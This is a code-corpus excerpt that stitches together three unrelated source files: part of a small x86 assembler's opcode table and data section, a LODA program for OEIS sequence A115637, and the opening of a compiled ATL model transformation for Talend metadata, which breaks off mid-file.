'PUSHA', 0x60 dw OutputByte ; String instructions db 'MOVSB', 0xA4 dw OutputByte db 'MOVSW', 0xA5 dw OutputByte db 'STOSB', 0xAA dw OutputByte db 'LODSB', 0xAC dw OutputByte ; Flow control db 'RET',0,0, 0xC3 dw OutputByte db 'INT',0,0, 0x00 dw InstINT db 'CALL',0, 0x00 dw InstCALL ; JMP db 'JMP',0,0, 0x00 dw InstJMP ; Conditional jump instructions (argument is condition code) db 'JO',0,0,0, CC_O dw InstJCC db 'JNO',0,0, CC_NO dw InstJCC db 'JC',0,0,0, CC_C dw InstJCC db 'JB',0,0,0, CC_C dw InstJCC db 'JNC',0,0, CC_NC dw InstJCC db 'JNB',0,0, CC_NC dw InstJCC db 'JAE',0,0, CC_NC dw InstJCC db 'JZ',0,0,0, CC_Z dw InstJCC db 'JE',0,0,0, CC_Z dw InstJCC db 'JNZ',0,0, CC_NZ dw InstJCC db 'JNE',0,0, CC_NZ dw InstJCC db 'JNA',0,0, CC_NA dw InstJCC db 'JBE',0,0, CC_NA dw InstJCC db 'JA',0,0,0, CC_A dw InstJCC db 'JS',0,0,0, CC_S dw InstJCC db 'JNS',0,0, CC_NS dw InstJCC db 'JPE',0,0, CC_PE dw InstJCC db 'JPO',0,0, CC_PO dw InstJCC db 'JL',0,0,0, CC_L dw InstJCC db 'JNL',0,0, CC_NL dw InstJCC db 'JNG',0,0, CC_NG dw InstJCC db 'JG',0,0,0, CC_G dw InstJCC DispatchListEnd: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Data ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; TODO: To save a few bytes the following should just be 'resb'/'resw' FirstFreeSeg: dw 0 ;;; Parser InputFile: dw 0 ; Input file handle CurrentLine: dw 1 ; Current line being processed NumNewLines: dw 0 ; Number of newlines passed by ReadNext CurrentChar: db 0 ; Current input character (0 on EOF) TokenLen: db 0 Token: db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 TokenEnd: db 0 ; NUL-terminator ; The last parsed operand is in OperandType/OperandValue ; Instructions with 2 operands have the left most operand saved in ; OperandLType/OperandLValue. CurrentFixup/CurrentLFixup holds ; any fixups needed for the operands (or INVALID_ADDR) ; See the EQUs at the top of the file for the meaning OperandType: db 0 OperandValue: dw 0 CurrentFixup: dw 0 OperandLType: db 0 OperandLValue: dw 0 CurrentLFixup: dw 0 ExplicitSize: db 0 ; Explicit size of memory operand (0=none, 1=byte, 2=word) LabelSeg: dw 0 NumLabels: dw 0 FixupSeg: dw 0 NextFreeFixup: dw 0 ; Points to next free fixup node (or INVALID_ADDR) EquSeg: dw 0 NumEqus: dw 0 ;;; Output OutputSeg: dw 0 CurrentAddress: dw 0 ; Current memory address of code (e.g. 0x100 first in a COM file) NumOutBytes: dw 0 ; Number of bytes output ;;; Keep last ProgramEnd:
22.890014
97
0.493084
2cf52db90a07b92ec22184f2e7949482f80b47d7
575
asm
Assembly
oeis/115/A115637.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/115/A115637.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/115/A115637.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A115637: A divide-and-conquer sequence. ; Submitted by Jamie Morken(s1) ; 1,0,5,4,1,0,21,20,17,16,5,4,1,0,85,84,81,80,69,68,65,64,21,20,17,16,5,4,1,0,341,340,337,336,325,324,321,320,277,276,273,272,261,260,257,256,85,84,81,80,69,68,65,64,21,20,17,16,5,4,1,0,1365,1364,1361,1360,1349,1348,1345,1344,1301,1300,1297,1296,1285,1284,1281,1280,1109,1108,1105,1104,1093,1092,1089,1088,1045,1044,1041,1040,1029,1028,1025,1024,341,340,337,336,325,324 add $0,1 mov $2,1 lpb $0 mov $3,$0 mul $0,2 sub $0,1 div $0,4 mod $3,2 mul $3,$2 add $1,$3 mul $2,4 lpe mov $0,$1
31.944444
369
0.671304
8cac6c3e0b83214ffe2d34a24513034b34f88a0b
309,026
asm
Assembly
main/plugins/org.talend.model.migration/transformation/tos_metadata400to410.asm
rdubois/tcommon-studio-se
97bac8fc3f65fc2cbb0079e1eec3731baa8704d1
[ "Apache-2.0" ]
null
null
null
main/plugins/org.talend.model.migration/transformation/tos_metadata400to410.asm
rdubois/tcommon-studio-se
97bac8fc3f65fc2cbb0079e1eec3731baa8704d1
[ "Apache-2.0" ]
null
null
null
main/plugins/org.talend.model.migration/transformation/tos_metadata400to410.asm
rdubois/tcommon-studio-se
97bac8fc3f65fc2cbb0079e1eec3731baa8704d1
[ "Apache-2.0" ]
null
null
null
<?xml version = '1.0' encoding = 'ISO-8859-1' ?> <asm version="1.0" name="0"> <cp> <constant value="TosMetadata400to410"/> <constant value="links"/> <constant value="NTransientLinkSet;"/> <constant value="col"/> <constant value="J"/> <constant value="inElements"/> <constant value="id"/> <constant value="main"/> <constant value="A"/> <constant value="OclParametrizedType"/> <constant value="#native"/> <constant value="Collection"/> <constant value="J.setName(S):V"/> <constant value="OclSimpleType"/> <constant value="OclAny"/> <constant value="J.setElementType(J):V"/> <constant value="ecore::EObject"/> <constant value="INMODEL"/> <constant value="IN"/> <constant value="J.allInstancesFrom(J):J"/> <constant value="isInElement"/> <constant value="__initisInElement"/> <constant value="J.registerHelperAttribute(SS):V"/> <constant value="0"/> <constant value="TransientLinkSet"/> <constant value="A.__matcher__():V"/> <constant value="A.__exec__():V"/> <constant value="10:59-10:83"/> <constant value="10:101-10:105"/> <constant value="10:59-10:106"/> <constant value="12:16-12:22"/> <constant value="42:29-42:30"/> <constant value="self"/> <constant value="__resolve__"/> <constant value="1"/> <constant value="J.oclIsKindOf(J):B"/> <constant value="18"/> <constant value="NTransientLinkSet;.getLinkBySourceElement(S):QNTransientLink;"/> <constant value="J.oclIsUndefined():B"/> <constant value="15"/> <constant value="NTransientLink;.getTargetFromSource(J):J"/> <constant value="17"/> <constant value="30"/> <constant value="Sequence"/> <constant value="2"/> <constant value="A.__resolve__(J):J"/> <constant value="QJ.including(J):QJ"/> <constant value="QJ.flatten():QJ"/> <constant value="e"/> <constant value="value"/> <constant value="resolveTemp"/> <constant value="S"/> <constant value="NTransientLink;.getNamedTargetFromSource(JS):J"/> <constant value="name"/> <constant value="__matcher__"/> <constant value="A.__matchMetadata():V"/> <constant value="A.__matchGenericConnection():V"/> <constant value="A.__matchFileConnection():V"/> <constant value="A.__matchAbstractMetadataColumn():V"/> <constant value="A.__matchAbstractMetadataTable():V"/> <constant value="A.__matchMDMConnection():V"/> <constant value="A.__matchDatabaseConnection():V"/> <constant value="A.__matchSAPFunctionUnit():V"/> <constant value="A.__matchSAPFunctionParameterColumn():V"/> <constant value="A.__matchSAPFunctionParameterTable():V"/> <constant value="A.__matchInputSAPFunctionParameterTable():V"/> <constant value="A.__matchOutputSAPFunctionParameterTable():V"/> <constant value="A.__matchSchemaTarget():V"/> <constant value="A.__matchQueriesConnection():V"/> <constant value="A.__matchQuery():V"/> <constant value="A.__matchXmlXPathLoopDescriptor():V"/> <constant value="A.__matchCDCConnection():V"/> <constant value="A.__matchCDCType():V"/> <constant value="A.__matchSAPTestInputParameterTable():V"/> <constant value="A.__matchConceptTarget():V"/> <constant value="__exec__"/> <constant value="Metadata"/> <constant value="NTransientLinkSet;.getLinksByRule(S):QNTransientLink;"/> <constant value="A.__applyMetadata(NTransientLink;):V"/> <constant value="GenericConnection"/> <constant value="A.__applyGenericConnection(NTransientLink;):V"/> <constant value="FileConnection"/> <constant value="A.__applyFileConnection(NTransientLink;):V"/> <constant value="AbstractMetadataColumn"/> <constant value="A.__applyAbstractMetadataColumn(NTransientLink;):V"/> <constant value="MetadataColumn"/> <constant value="A.__applyMetadataColumn(NTransientLink;):V"/> <constant value="TdColumn"/> <constant value="A.__applyTdColumn(NTransientLink;):V"/> <constant value="AbstractMetadataTable"/> <constant value="A.__applyAbstractMetadataTable(NTransientLink;):V"/> <constant value="MetadataTable"/> <constant value="A.__applyMetadataTable(NTransientLink;):V"/> <constant value="DbTable"/> <constant value="A.__applyDbTable(NTransientLink;):V"/> <constant value="DbView"/> <constant value="A.__applyDbView(NTransientLink;):V"/> <constant value="DelimitedFileConnection"/> <constant value="A.__applyDelimitedFileConnection(NTransientLink;):V"/> <constant value="PositionalFileConnection"/> <constant value="A.__applyPositionalFileConnection(NTransientLink;):V"/> <constant value="EbcdicConnection"/> <constant value="A.__applyEbcdicConnection(NTransientLink;):V"/> <constant value="MDMConnection"/> <constant value="A.__applyMDMConnection(NTransientLink;):V"/> <constant value="DatabaseConnection"/> <constant value="A.__applyDatabaseConnection(NTransientLink;):V"/> <constant value="SAPConnection"/> <constant value="A.__applySAPConnection(NTransientLink;):V"/> <constant value="SAPFunctionUnit"/> <constant value="A.__applySAPFunctionUnit(NTransientLink;):V"/> <constant value="SAPFunctionParameterColumn"/> <constant value="A.__applySAPFunctionParameterColumn(NTransientLink;):V"/> <constant value="SAPFunctionParameterTable"/> <constant value="A.__applySAPFunctionParameterTable(NTransientLink;):V"/> <constant value="InputSAPFunctionParameterTable"/> <constant value="A.__applyInputSAPFunctionParameterTable(NTransientLink;):V"/> <constant value="OutputSAPFunctionParameterTable"/> <constant value="A.__applyOutputSAPFunctionParameterTable(NTransientLink;):V"/> <constant value="RegexpFileConnection"/> <constant value="A.__applyRegexpFileConnection(NTransientLink;):V"/> <constant value="XmlFileConnection"/> <constant value="A.__applyXmlFileConnection(NTransientLink;):V"/> <constant value="SchemaTarget"/> <constant value="A.__applySchemaTarget(NTransientLink;):V"/> <constant value="QueriesConnection"/> <constant value="A.__applyQueriesConnection(NTransientLink;):V"/> <constant value="Query"/> <constant value="A.__applyQuery(NTransientLink;):V"/> <constant value="LdifFileConnection"/> <constant value="A.__applyLdifFileConnection(NTransientLink;):V"/> <constant value="FileExcelConnection"/> <constant value="A.__applyFileExcelConnection(NTransientLink;):V"/> <constant value="XmlXPathLoopDescriptor"/> <constant value="A.__applyXmlXPathLoopDescriptor(NTransientLink;):V"/> <constant value="GenericSchemaConnection"/> <constant value="A.__applyGenericSchemaConnection(NTransientLink;):V"/> <constant value="LDAPSchemaConnection"/> <constant value="A.__applyLDAPSchemaConnection(NTransientLink;):V"/> <constant value="WSDLSchemaConnection"/> <constant value="A.__applyWSDLSchemaConnection(NTransientLink;):V"/> <constant value="SalesforceSchemaConnection"/> <constant value="A.__applySalesforceSchemaConnection(NTransientLink;):V"/> <constant value="CDCConnection"/> <constant value="A.__applyCDCConnection(NTransientLink;):V"/> <constant value="CDCType"/> <constant value="A.__applyCDCType(NTransientLink;):V"/> <constant value="SubscriberTable"/> <constant value="A.__applySubscriberTable(NTransientLink;):V"/> <constant value="SAPTestInputParameterTable"/> <constant value="A.__applySAPTestInputParameterTable(NTransientLink;):V"/> <constant value="Concept"/> <constant value="A.__applyConcept(NTransientLink;):V"/> <constant value="ConceptTarget"/> <constant value="A.__applyConceptTarget(NTransientLink;):V"/> <constant value="HL7Connection"/> <constant value="A.__applyHL7Connection(NTransientLink;):V"/> <constant value="J.includes(J):J"/> <constant value="13:2-13:12"/> <constant value="13:2-13:23"/> <constant value="13:34-13:38"/> <constant value="13:2-13:39"/> <constant value="__matchMetadata"/> <constant value="connection::Metadata"/> <constant value="MMOF!Classifier;.allInstancesFrom(S):QJ"/> <constant value="B.not():B"/> <constant value="33"/> <constant value="TransientLink"/> <constant value="NTransientLink;.setRule(MATL!Rule;):V"/> <constant value="s"/> <constant value="NTransientLink;.addSourceElement(SJ):V"/> <constant value="t"/> <constant value="OUTMODEL"/> <constant value="NTransientLink;.addTargetElement(SJ):V"/> <constant value="NTransientLinkSet;.addLink2(NTransientLink;B):V"/> <constant value="30:46-30:56"/> <constant value="30:46-30:67"/> <constant value="30:78-30:79"/> <constant value="30:46-30:80"/> <constant value="31:8-40:38"/> <constant value="__applyMetadata"/> <constant value="NTransientLink;"/> <constant value="NTransientLink;.getSourceElement(S):J"/> <constant value="NTransientLink;.getTargetElement(S):J"/> <constant value="3"/> <constant value="properties"/> <constant value="comment"/> <constant value="label"/> <constant value="readOnly"/> <constant value="synchronised"/> <constant value="divergency"/> <constant value="connections"/> <constant value="33:23-33:24"/> <constant value="33:23-33:35"/> <constant value="33:9-33:35"/> <constant value="34:15-34:16"/> <constant value="34:15-34:19"/> <constant value="34:9-34:19"/> <constant value="35:20-35:21"/> <constant value="35:20-35:29"/> <constant value="35:9-35:29"/> <constant value="36:18-36:19"/> <constant value="36:18-36:25"/> <constant value="36:9-36:25"/> <constant value="37:21-37:22"/> <constant value="37:21-37:31"/> <constant value="37:9-37:31"/> <constant value="38:25-38:26"/> <constant value="38:25-38:39"/> <constant value="38:9-38:39"/> <constant value="39:23-39:24"/> <constant value="39:23-39:35"/> <constant value="39:9-39:35"/> <constant value="40:24-40:25"/> <constant value="40:24-40:37"/> <constant value="40:9-40:37"/> <constant value="link"/> <constant value="__matchGenericConnection"/> <constant value="connection::Connection"/> <constant value="J.oclIsTypeOf(J):J"/> <constant value="34"/> <constant value="36"/> <constant value="303"/> <constant value="65"/> <constant value="newGenericPackage"/> <constant value="connection::GenericPackage"/> <constant value="connection::SAPConnection"/> <constant value="99"/> <constant value="connection::XmlFileConnection"/> <constant value="133"/> <constant value="connection::LdifFileConnection"/> <constant value="167"/> <constant value="connection::GenericSchemaConnection"/> <constant value="201"/> <constant value="connection::LDAPSchemaConnection"/> <constant value="235"/> <constant value="connection::WSDLSchemaConnection"/> <constant value="269"/> <constant value="connection::SalesforceSchemaConnection"/> <constant value="46:6-46:7"/> <constant value="46:20-46:52"/> <constant value="46:6-46:53"/> <constant value="48:8-48:13"/> <constant value="47:4-47:5"/> <constant value="47:4-47:17"/> <constant value="46:3-48:19"/> <constant value="49:8-64:4"/> <constant value="65:3-67:4"/> <constant value="289:8-297:32"/> <constant value="402:8-408:28"/> <constant value="443:8-448:28"/> <constant value="476:8-478:42"/> <constant value="483:8-506:36"/> <constant value="511:8-526:30"/> <constant value="531:8-546:30"/> <constant value="__applyGenericConnection"/> <constant value="4"/> <constant value="version"/> <constant value="ContextMode"/> <constant value="ContextId"/> <constant value="CJ.including(J):CJ"/> <constant value="dataPackage"/> <constant value="queries"/> <constant value="tables"/> <constant value="ownedElement"/> <constant value="51:23-51:24"/> <constant value="51:23-51:35"/> <constant value="51:9-51:35"/> <constant value="52:15-52:16"/> <constant value="52:15-52:19"/> <constant value="52:9-52:19"/> <constant value="53:20-53:21"/> <constant value="53:20-53:29"/> <constant value="53:9-53:29"/> <constant value="54:18-54:19"/> <constant value="54:18-54:25"/> <constant value="54:9-54:25"/> <constant value="55:21-55:22"/> <constant value="55:21-55:31"/> <constant value="55:9-55:31"/> <constant value="56:25-56:26"/> <constant value="56:25-56:39"/> <constant value="56:9-56:39"/> <constant value="57:23-57:24"/> <constant value="57:23-57:35"/> <constant value="57:9-57:35"/> <constant value="58:20-58:21"/> <constant value="58:20-58:29"/> <constant value="58:9-58:29"/> <constant value="59:24-59:25"/> <constant value="59:24-59:37"/> <constant value="59:9-59:37"/> <constant value="60:22-60:23"/> <constant value="60:22-60:33"/> <constant value="60:9-60:33"/> <constant value="62:30-62:47"/> <constant value="62:21-62:48"/> <constant value="62:6-62:48"/> <constant value="63:14-63:15"/> <constant value="63:14-63:23"/> <constant value="63:3-63:23"/> <constant value="66:21-66:22"/> <constant value="66:21-66:29"/> <constant value="66:5-66:29"/> <constant value="__matchFileConnection"/> <constant value="connection::FileConnection"/> <constant value="connection::DelimitedFileConnection"/> <constant value="41"/> <constant value="newRecordFile"/> <constant value="orgomg::cwm::resource::record::RecordFile"/> <constant value="245"/> <constant value="connection::PositionalFileConnection"/> <constant value="75"/> <constant value="connection::EbcdicConnection"/> <constant value="109"/> <constant value="connection::RegexpFileConnection"/> <constant value="143"/> <constant value="connection::FileExcelConnection"/> <constant value="177"/> <constant value="connection::HL7Connection"/> <constant value="211"/> <constant value="193:8-195:38"/> <constant value="109:3-110:30"/> <constant value="200:8-200:59"/> <constant value="205:8-207:32"/> <constant value="396:8-397:52"/> <constant value="453:8-462:34"/> <constant value="613:8-615:30"/> <constant value="75:8-108:34"/> <constant value="__applyFileConnection"/> <constant value="Server"/> <constant value="FilePath"/> <constant value="Format"/> <constant value="Encoding"/> <constant value="FieldSeparatorValue"/> <constant value="RowSeparatorType"/> <constant value="RowSeparatorValue"/> <constant value="TextIdentifier"/> <constant value="UseHeader"/> <constant value="HeaderValue"/> <constant value="UseFooter"/> <constant value="FooterValue"/> <constant value="UseLimit"/> <constant value="LimitValue"/> <constant value="FirstLineCaption"/> <constant value="RemoveEmptyRow"/> <constant value="EscapeType"/> <constant value="EscapeChar"/> <constant value="TextEnclosure"/> <constant value="CsvOption"/> <constant value="76:23-76:24"/> <constant value="76:23-76:35"/> <constant value="76:9-76:35"/> <constant value="77:15-77:16"/> <constant value="77:15-77:19"/> <constant value="77:9-77:19"/> <constant value="78:20-78:21"/> <constant value="78:20-78:29"/> <constant value="78:9-78:29"/> <constant value="79:18-79:19"/> <constant value="79:18-79:25"/> <constant value="79:9-79:25"/> <constant value="80:21-80:22"/> <constant value="80:21-80:31"/> <constant value="80:9-80:31"/> <constant value="81:25-81:26"/> <constant value="81:25-81:39"/> <constant value="81:9-81:39"/> <constant value="82:23-82:24"/> <constant value="82:23-82:35"/> <constant value="82:9-82:35"/> <constant value="83:20-83:21"/> <constant value="83:20-83:29"/> <constant value="83:9-83:29"/> <constant value="84:24-84:25"/> <constant value="84:24-84:37"/> <constant value="84:9-84:37"/> <constant value="85:22-85:23"/> <constant value="85:22-85:33"/> <constant value="85:9-85:33"/> <constant value="87:27-87:40"/> <constant value="87:18-87:41"/> <constant value="87:3-87:41"/> <constant value="88:14-88:15"/> <constant value="88:14-88:23"/> <constant value="88:3-88:23"/> <constant value="89:16-89:17"/> <constant value="89:16-89:24"/> <constant value="89:6-89:24"/> <constant value="90:21-90:22"/> <constant value="90:21-90:31"/> <constant value="90:9-90:31"/> <constant value="91:19-91:20"/> <constant value="91:19-91:27"/> <constant value="91:9-91:27"/> <constant value="92:21-92:22"/> <constant value="92:21-92:31"/> <constant value="92:9-92:31"/> <constant value="93:32-93:33"/> <constant value="93:32-93:53"/> <constant value="93:9-93:53"/> <constant value="94:29-94:30"/> <constant value="94:29-94:47"/> <constant value="94:9-94:47"/> <constant value="95:30-95:31"/> <constant value="95:30-95:49"/> <constant value="95:9-95:49"/> <constant value="96:27-96:28"/> <constant value="96:27-96:43"/> <constant value="96:9-96:43"/> <constant value="97:22-97:23"/> <constant value="97:22-97:33"/> <constant value="97:9-97:33"/> <constant value="98:24-98:25"/> <constant value="98:24-98:37"/> <constant value="98:9-98:37"/> <constant value="99:22-99:23"/> <constant value="99:22-99:33"/> <constant value="99:9-99:33"/> <constant value="100:24-100:25"/> <constant value="100:24-100:37"/> <constant value="100:9-100:37"/> <constant value="101:21-101:22"/> <constant value="101:21-101:31"/> <constant value="101:9-101:31"/> <constant value="102:23-102:24"/> <constant value="102:23-102:35"/> <constant value="102:9-102:35"/> <constant value="103:29-103:30"/> <constant value="103:29-103:47"/> <constant value="103:9-103:47"/> <constant value="104:27-104:28"/> <constant value="104:27-104:43"/> <constant value="104:9-104:43"/> <constant value="105:23-105:24"/> <constant value="105:23-105:35"/> <constant value="105:9-105:35"/> <constant value="106:23-106:24"/> <constant value="106:23-106:35"/> <constant value="106:9-106:35"/> <constant value="107:26-107:27"/> <constant value="107:26-107:41"/> <constant value="107:9-107:41"/> <constant value="108:22-108:23"/> <constant value="108:22-108:33"/> <constant value="108:9-108:33"/> <constant value="110:21-110:22"/> <constant value="110:21-110:29"/> <constant value="110:5-110:29"/> <constant value="__matchAbstractMetadataColumn"/> <constant value="connection::MetadataColumn"/> <constant value="J.oclIsKindOf(J):J"/> <constant value="19"/> <constant value="110"/> <constant value="table"/> <constant value="tableType"/> <constant value="TABLE"/> <constant value="J.=(J):J"/> <constant value="VIEW"/> <constant value="J.or(J):J"/> <constant value="connection::cwm::relational::TdColumn"/> <constant value="newInitialValue"/> <constant value="orgomg::cwm::objectmodel::core::Expression"/> <constant value="115:6-115:7"/> <constant value="115:20-115:56"/> <constant value="115:6-115:57"/> <constant value="117:8-117:13"/> <constant value="116:4-116:14"/> <constant value="116:4-116:25"/> <constant value="116:36-116:37"/> <constant value="116:4-116:38"/> <constant value="115:3-117:19"/> <constant value="149:53-149:54"/> <constant value="149:53-149:60"/> <constant value="149:53-149:70"/> <constant value="149:73-149:80"/> <constant value="149:53-149:80"/> <constant value="149:86-149:87"/> <constant value="149:86-149:93"/> <constant value="149:86-149:103"/> <constant value="149:106-149:112"/> <constant value="149:86-149:112"/> <constant value="149:52-149:113"/> <constant value="150:8-150:60"/> <constant value="138:3-140:4"/> <constant value="145:8-145:49"/> <constant value="__applyMetadataColumn"/> <constant value="sourceType"/> <constant value="initialValue"/> <constant value="talendType"/> <constant value="key"/> <constant value="nullable"/> <constant value="length"/> <constant value="precision"/> <constant value="originalField"/> <constant value="pattern"/> <constant value="displayField"/> <constant value="defaultValue"/> <constant value="body"/> <constant value="119:20-119:21"/> <constant value="119:20-119:32"/> <constant value="119:6-119:32"/> <constant value="120:15-120:16"/> <constant value="120:15-120:19"/> <constant value="120:9-120:19"/> <constant value="121:20-121:21"/> <constant value="121:20-121:29"/> <constant value="121:9-121:29"/> <constant value="122:18-122:19"/> <constant value="122:18-122:25"/> <constant value="122:9-122:25"/> <constant value="123:21-123:22"/> <constant value="123:21-123:31"/> <constant value="123:9-123:31"/> <constant value="124:25-124:26"/> <constant value="124:25-124:39"/> <constant value="124:9-124:39"/> <constant value="125:23-125:24"/> <constant value="125:23-125:35"/> <constant value="125:9-125:35"/> <constant value="126:23-126:24"/> <constant value="126:23-126:35"/> <constant value="126:9-126:35"/> <constant value="128:19-128:34"/> <constant value="128:3-128:34"/> <constant value="129:17-129:18"/> <constant value="129:17-129:29"/> <constant value="129:3-129:29"/> <constant value="130:16-130:17"/> <constant value="130:16-130:21"/> <constant value="130:9-130:21"/> <constant value="131:21-131:22"/> <constant value="131:21-131:31"/> <constant value="131:9-131:31"/> <constant value="132:19-132:20"/> <constant value="132:19-132:27"/> <constant value="132:9-132:27"/> <constant value="133:22-133:23"/> <constant value="133:22-133:33"/> <constant value="133:9-133:33"/> <constant value="135:11-135:12"/> <constant value="135:11-135:26"/> <constant value="135:3-135:26"/> <constant value="136:20-136:21"/> <constant value="136:20-136:29"/> <constant value="136:9-136:29"/> <constant value="137:25-137:26"/> <constant value="137:25-137:39"/> <constant value="137:9-137:39"/> <constant value="139:12-139:13"/> <constant value="139:12-139:26"/> <constant value="139:4-139:26"/> <constant value="__applyTdColumn"/> <constant value="__matchAbstractMetadataTable"/> <constant value="connection::MetadataTable"/> <constant value="193"/> <constant value="62"/> <constant value="connection::cwm::relational::TdTable"/> <constant value="192"/> <constant value="96"/> <constant value="connection::cwm::relational::TdView"/> <constant value="connection::SubscriberTable"/> <constant value="130"/> <constant value="connection::Concept"/> <constant value="164"/> <constant value="155:6-155:7"/> <constant value="155:20-155:55"/> <constant value="155:6-155:56"/> <constant value="157:8-157:13"/> <constant value="156:4-156:14"/> <constant value="156:4-156:25"/> <constant value="156:36-156:37"/> <constant value="156:4-156:38"/> <constant value="155:3-157:19"/> <constant value="180:52-180:53"/> <constant value="180:52-180:63"/> <constant value="180:66-180:73"/> <constant value="180:52-180:73"/> <constant value="181:8-181:59"/> <constant value="185:52-185:53"/> <constant value="185:52-185:63"/> <constant value="185:66-185:72"/> <constant value="185:52-185:72"/> <constant value="186:8-186:58"/> <constant value="574:53-574:63"/> <constant value="574:53-574:74"/> <constant value="574:85-574:86"/> <constant value="574:53-574:87"/> <constant value="575:8-577:30"/> <constant value="595:45-595:55"/> <constant value="595:45-595:66"/> <constant value="595:77-595:78"/> <constant value="595:45-595:79"/> <constant value="596:8-600:44"/> <constant value="176:8-176:48"/> <constant value="__applyMetadataTable"/> <constant value="sourceName"/> <constant value="attachedCDC"/> <constant value="activatedCDC"/> <constant value="columns"/> <constant value="feature"/> <constant value="159:23-159:24"/> <constant value="159:23-159:35"/> <constant value="159:9-159:35"/> <constant value="160:15-160:16"/> <constant value="160:15-160:19"/> <constant value="160:9-160:19"/> <constant value="161:20-161:21"/> <constant value="161:20-161:29"/> <constant value="161:9-161:29"/> <constant value="162:18-162:19"/> <constant value="162:18-162:25"/> <constant value="162:9-162:25"/> <constant value="163:21-163:22"/> <constant value="163:21-163:31"/> <constant value="163:9-163:31"/> <constant value="164:25-164:26"/> <constant value="164:25-164:39"/> <constant value="164:9-164:39"/> <constant value="165:23-165:24"/> <constant value="165:23-165:35"/> <constant value="165:9-165:35"/> <constant value="167:17-167:18"/> <constant value="167:17-167:29"/> <constant value="167:9-167:29"/> <constant value="168:22-168:23"/> <constant value="168:22-168:33"/> <constant value="168:9-168:33"/> <constant value="169:24-169:25"/> <constant value="169:24-169:37"/> <constant value="169:9-169:37"/> <constant value="170:25-170:26"/> <constant value="170:25-170:39"/> <constant value="170:9-170:39"/> <constant value="171:20-171:21"/> <constant value="171:20-171:29"/> <constant value="171:9-171:29"/> <constant value="__applyDbTable"/> <constant value="__applyDbView"/> <constant value="__applyDelimitedFileConnection"/> <constant value="FieldSeparatorType"/> <constant value="splitRecord"/> <constant value="194:31-194:32"/> <constant value="194:31-194:51"/> <constant value="194:9-194:51"/> <constant value="195:24-195:25"/> <constant value="195:24-195:37"/> <constant value="195:9-195:37"/> <constant value="__applyPositionalFileConnection"/> <constant value="__applyEbcdicConnection"/> <constant value="MidFile"/> <constant value="DataFile"/> <constant value="206:20-206:21"/> <constant value="206:20-206:29"/> <constant value="206:9-206:29"/> <constant value="207:21-207:22"/> <constant value="207:21-207:31"/> <constant value="207:9-207:31"/> <constant value="__matchMDMConnection"/> <constant value="connection::MDMConnection"/> <constant value="newXmlSchemaPackage"/> <constant value="orgomg::cwm::resource::xml::Schema"/> <constant value="212:8-234:4"/> <constant value="235:3-236:30"/> <constant value="__applyMDMConnection"/> <constant value="Username"/> <constant value="Password"/> <constant value="Port"/> <constant value="Universe"/> <constant value="Datamodel"/> <constant value="schemas"/> <constant value="Datacluster"/> <constant value="213:23-213:24"/> <constant value="213:23-213:35"/> <constant value="213:9-213:35"/> <constant value="214:15-214:16"/> <constant value="214:15-214:19"/> <constant value="214:9-214:19"/> <constant value="215:20-215:21"/> <constant value="215:20-215:29"/> <constant value="215:9-215:29"/> <constant value="216:18-216:19"/> <constant value="216:18-216:25"/> <constant value="216:9-216:25"/> <constant value="217:21-217:22"/> <constant value="217:21-217:31"/> <constant value="217:9-217:31"/> <constant value="218:25-218:26"/> <constant value="218:25-218:39"/> <constant value="218:9-218:39"/> <constant value="219:23-219:24"/> <constant value="219:23-219:35"/> <constant value="219:9-219:35"/> <constant value="220:20-220:21"/> <constant value="220:20-220:29"/> <constant value="220:9-220:29"/> <constant value="221:24-221:25"/> <constant value="221:24-221:37"/> <constant value="221:9-221:37"/> <constant value="222:22-222:23"/> <constant value="222:22-222:33"/> <constant value="222:9-222:33"/> <constant value="224:30-224:49"/> <constant value="224:21-224:50"/> <constant value="224:6-224:50"/> <constant value="225:14-225:15"/> <constant value="225:14-225:23"/> <constant value="225:3-225:23"/> <constant value="226:18-226:19"/> <constant value="226:18-226:28"/> <constant value="226:6-226:28"/> <constant value="227:21-227:22"/> <constant value="227:21-227:31"/> <constant value="227:9-227:31"/> <constant value="228:17-228:18"/> <constant value="228:17-228:23"/> <constant value="228:9-228:23"/> <constant value="229:19-229:20"/> <constant value="229:19-229:27"/> <constant value="229:9-229:27"/> <constant value="230:21-230:22"/> <constant value="230:21-230:31"/> <constant value="230:9-230:31"/> <constant value="231:22-231:23"/> <constant value="231:22-231:33"/> <constant value="231:9-231:33"/> <constant value="232:14-232:15"/> <constant value="232:14-232:23"/> <constant value="232:3-232:23"/> <constant value="233:24-233:25"/> <constant value="233:24-233:37"/> <constant value="233:9-233:37"/> <constant value="236:21-236:22"/> <constant value="236:21-236:29"/> <constant value="236:5-236:29"/> <constant value="__matchDatabaseConnection"/> <constant value="connection::DatabaseConnection"/> <constant value="newSchema"/> <constant value="orgomg::cwm::resource::relational::Schema"/> <constant value="241:8-281:24"/> <constant value="282:3-284:30"/> <constant value="__applyDatabaseConnection"/> <constant value="DatabaseType"/> <constant value="DriverJarPath"/> <constant value="DriverClass"/> <constant value="URL"/> <constant value="dbVersionString"/> <constant value="ServerName"/> <constant value="DatasourceName"/> <constant value="FileFieldName"/> <constant value="SID"/> <constant value="SqlSynthax"/> <constant value="StringQuote"/> <constant value="NullChar"/> <constant value="DbmsId"/> <constant value="ProductId"/> <constant value="DBRootPath"/> <constant value="AdditionalParams"/> <constant value="StandardSQL"/> <constant value="SystemSQL"/> <constant value="cdcTypeMode"/> <constant value="SQLMode"/> <constant value="cdcConns"/> <constant value="Schema"/> <constant value="UiSchema"/> <constant value="243:23-243:24"/> <constant value="243:23-243:35"/> <constant value="243:9-243:35"/> <constant value="244:15-244:16"/> <constant value="244:15-244:19"/> <constant value="244:9-244:19"/> <constant value="245:20-245:21"/> <constant value="245:20-245:29"/> <constant value="245:9-245:29"/> <constant value="246:18-246:19"/> <constant 